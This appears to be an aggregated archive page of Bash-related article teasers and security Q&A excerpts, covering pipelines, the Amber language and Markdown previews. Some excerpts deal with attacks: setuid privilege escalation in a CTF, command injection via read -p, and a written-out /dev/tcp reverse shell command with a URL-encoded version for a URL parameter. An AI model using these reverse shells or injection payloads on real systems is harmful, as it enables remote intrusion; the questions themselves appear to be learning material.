Linux Fu: Failing Pipelines
Bash is great for automating little tasks, but sometimes a little script you think will take a minute to write turns into a half hour or more. This is the …read more Continue reading Linux Fu: Failing Pipelines
Category Archives: Bash
FLOSS Weekly Episode 790: Better Bash Scripting with Amber
This week Jonathan Bennett and Dan Lynch chat with Paweł Karaś about Amber, a modern scripting language that compiles into a Bash script. Want to write scripts with built-in error …read more Continue reading FLOSS Weekly Episode 790: Better Bash Scripting with Amber
Preview Markdown in the Terminal with Bash
Markdown has become an extremely popular way to document source code and other projects, thanks in no small part to how well web-based services like GitHub render it. Just sprinkle …read more Continue reading Preview Markdown in the Terminal with Bash
Python os.system() does not change EUID to 0, but os.execl() does, why? [duplicate]
I was working on a Capture the Flag (CTF) challenge that involved a setuid-enabled binary, ‘/usr/bin/python’, where the owner is ‘root.’ I assumed the user was "www-data", with UID=33.
The goal was to create a bash shell with RUI… Continue reading Python os.system() does not change EUID to 0, but os.execl() does, why? [duplicate]
Amber Compiles to Bash
It certainly isn’t a new idea to compile a language into an intermediate language. The original C++ compiler outputs C code, for example. Enhanced versions of Fortran were often just …read more Continue reading Amber Compiles to Bash
Is Your Mental Model of Bash Pipelines Wrong?
[Michael Lynch] encountered a strange situation. Why was compiling then running his program nearly 10x faster than just running the program by itself? [Michael] ran into this issue while benchmarking …read more Continue reading Is Your Mental Model of Bash Pipelines Wrong?
How does bash > /dev/tcp/"ip"/"port" 0<&1 keep connection alive? [closed]
I am studying a reverse shell created by /dev/tcp.
When you create a tcp socket using /dev/tcp, it ends its connection immediately after
data is sent. But when you create a reverse shell by bash > /dev/tcp 0<&1, it keeps the tcp … Continue reading How does bash > /dev/tcp/"ip"/"port" 0<&1 keep connection alive? [closed]
Using Local AI on the Command Line To Rename Images (And More)
We all have a folder full of images whose filenames resemble line noise. How about renaming those images with the help of a local LLM (large language model) executable on …read more Continue reading Using Local AI on the Command Line To Rename Images (And More)
how to exploit read -p in bash script
i wanna execute ls command inplace of the output being "your name is ls"
is there a way to do it ?
read -p "name??" name
echo "your name is $name"
Bash reverse shell as a URL parameter value
I try to put bash reverse shell as a URL parameter. The command is as follows:
bash -i >& /dev/tcp/192.168.56.105/4444 0>&1
I have encoded the above code with URL encoding
bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.56.105%2… Continue reading Bash reverse shell as a URL parameter value